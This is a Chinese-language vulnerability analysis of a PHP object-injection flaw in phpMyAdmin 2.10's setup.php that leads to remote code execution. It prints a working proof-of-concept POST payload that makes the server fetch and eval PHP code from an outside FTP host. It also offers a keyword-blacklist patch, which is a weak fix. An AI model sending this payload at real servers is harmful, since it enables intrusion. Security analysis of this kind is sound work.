目錄
1. 漏洞描述 2. 漏洞觸發條件 3. 漏洞影響範圍 4. 漏洞程式碼分析 5. 防禦方法 6. 攻防思考
1. 漏洞描述
對這個漏洞簡單的概括如下
1. "/scripts/setup.php"會接收使用者傳送的序列化POST資料 action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A24%3A%22ftp%3A%2f%2f10.125.62.62%2fs.txt%22%3B%7D%7D /* token要動態獲取 action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}} */ 2. "/scripts/setup.php"會對"$_POST['configuration']"進行反序列化 setup.php在反序列化的時候,程式未對輸入的原始資料進行有效地惡意檢測 3. 黑客可以在POST資料中注入"序列化後的PMA_Config物件" setup.php在反序列化一個"序列化後的PMA_Config物件"的時候,會對這個物件進行"重新初始化",即再次呼叫它的建構函式 function __construct($source = null) { $this->settings = array(); // functions need to refresh in case of config file changed goes in // PMA_Config::load() $this->load($source); // other settings, independant from config file, comes in $this->checkSystem(); $this->checkIsHttps(); } 4. PMA_Config物件的建構函式會重新引入"$source"對應的配置檔案,這個"$source"是物件重新初始化時本次註冊得到的,使用eval執行的方式將配置檔案中的變數"本地變數註冊化" function load($source = null) { $this->loadDefaults(); if (null !== $source) { $this->setSource($source); } if (! $this->checkConfigSource()) { return false; } $cfg = array(); /** * Parses the configuration file */ $old_error_reporting = error_reporting(0); //使用eval方式引入外部的配置檔案 if (function_exists('file_get_contents')) { $eval_result = eval('?>' . trim(file_get_contents($this->getSource()))); } else { $eval_result = eval('?>' . trim(implode("\n", file($this->getSource())))); } error_reporting($old_error_reporting); if ($eval_result === false) { $this->error_config_file = true; } else { $this->error_config_file = false; $this->source_mtime = filemtime($this->getSource()); } ...
最終的結果是,程式程式碼引入了黑客注入的外部檔案的PHP程式碼,並使用eval進行了執行,導致RCE
Relevant Link:
http://php.net/manual/zh/function.unserialize.php http://drops.wooyun.org/papers/596 http://drops.wooyun.org/tips/3909 http://blog.csdn.net/cnbird2008/article/details/7491216
2. 漏洞觸發條件
0x1: POC
token需要動態獲取
1. POST http://localhost/phpMyAdmin-2.10.0.2-all-languages/scripts/setup.php 2. DATA action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A24%3A%22ftp%3A%2f%2f10.125.62.62%2fs.txt%22%3B%7D%7D /* source要是一個外部的文字檔案,需要返回的是原生的PHP程式碼 a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}} */
3. 漏洞影響範圍
1. phpmyadmin 2.10 2. <= phpmyadmin 2.10
4. 漏洞程式碼分析
0x1: PHP serialize && unserialize
關於PHP序列化、反序列化存在的安全問題相關知識,請參閱另一篇文章
http://www.cnblogs.com/LittleHann/p/4242535.html
0x2: "/scripts/setup.php"
if (isset($_POST['configuration']) && $action != 'clear' ) { // Grab previous configuration, if it should not be cleared $configuration = unserialize($_POST['configuration']); } else { // Start with empty configuration $configuration = array(); }
漏洞的根源在於程式信任了使用者傳送的外部資料,直接進行本地序列化,從而導致"物件注入",黑客通過注入當前已經存在於程式碼空間的PMA_Config物件,php在反序列化的時候,會自動呼叫物件的__wakeup函式,在__wakeup函式中,會使用外部傳入的$source引數,作為配置檔案的來源,然後使用eval將其引入到原生程式碼空間
0x3: \libraries\Config.class.php
/** * re-init object after loading from session file * checks config file for changes and relaods if neccessary */ function __wakeup() { //在執行__wakeup()的時候,$source已經被註冊為了外部傳入的$source引數 if (! $this->checkConfigSource() || $this->source_mtime !== filemtime($this->getSource()) || $this->default_source_mtime !== filemtime($this->default_source) || $this->error_config_file || $this->error_config_default_file) { $this->settings = array(); $this->load(); $this->checkSystem(); } // check for https needs to be done everytime, // as https and http uses same session so this info can not be stored // in session $this->checkIsHttps(); $this->checkCollationConnection(); $this->checkFontsize(); }
5. 防禦方法
0x1: Apply Patch
if (isset($_POST['configuration']) && $action != 'clear' ) { $configuration = array(); //協議的匹配忽略大小寫 if ( (strpos($_POST['configuration'], "PMA_Config") !== false) && ( (stripos($_POST['configuration'], "ftp://") !== false) || (stripos($_POST['configuration'], "http://") !== false) ) ) { $configuration = array(); } else { // Grab previous configuration, if it should not be cleared $configuration = unserialize($_POST['configuration']); } } else { // Start with empty configuration $configuration = array(); }
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved